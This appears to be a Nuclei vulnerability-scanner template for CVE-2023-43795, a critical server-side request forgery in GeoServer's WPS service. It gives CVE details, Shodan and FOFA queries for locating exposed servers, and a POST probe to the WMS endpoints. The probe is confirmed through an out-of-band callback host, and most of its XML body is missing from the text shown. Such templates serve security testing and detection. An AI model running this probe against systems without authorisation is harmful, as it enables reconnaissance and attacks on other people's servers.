id: CVE-2023-43795 info: name: GeoServer WPS - Server Side Request Forgery author: DhiyaneshDK severity: critical description: | GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. The OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests. This presents the opportunity for Server Side Request Forgery. This vulnerability has been patched in version 2.22.5 and 2.23.2. reference: - https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms.html - https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956 - https://nvd.nist.gov/vuln/detail/CVE-2023-43795 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-43795 cwe-id: CWE-918 epss-score: 0.12207 epss-percentile: 0.94785 cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: osgeo product: geoserver shodan-query: title:"GeoServer" fofa-query: app="GeoServer" tags: cve,cve2023,geoserver,ssrf,oast,oos variables: oast: "{{interactsh-url}}" string: "{{to_lower(rand_text_alpha(4))}}" value: "{{to_lower(rand_text_alpha(5))}}" http: - raw: - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml JTS:area geom result payloads: path: - /wms - /geoserver/wms stop-at-first-match: true matchers: - type: dsl dsl: - contains(interactsh_protocol, 'http') - contains_all(to_lower(interactsh_request), '{{string}}','{{value}}') - status_code == 200 condition: and # digest: 4b0a00483046022100f00e02d16c022d3a06961768b6288c75683e6153bda02312956fbe3c46f3125c02210095c29002a932eb3ac494d6354e1584dbfc8bbe78f18bc5d88600d9028b2c2520:922c64590222798bb761d5b6d8e72950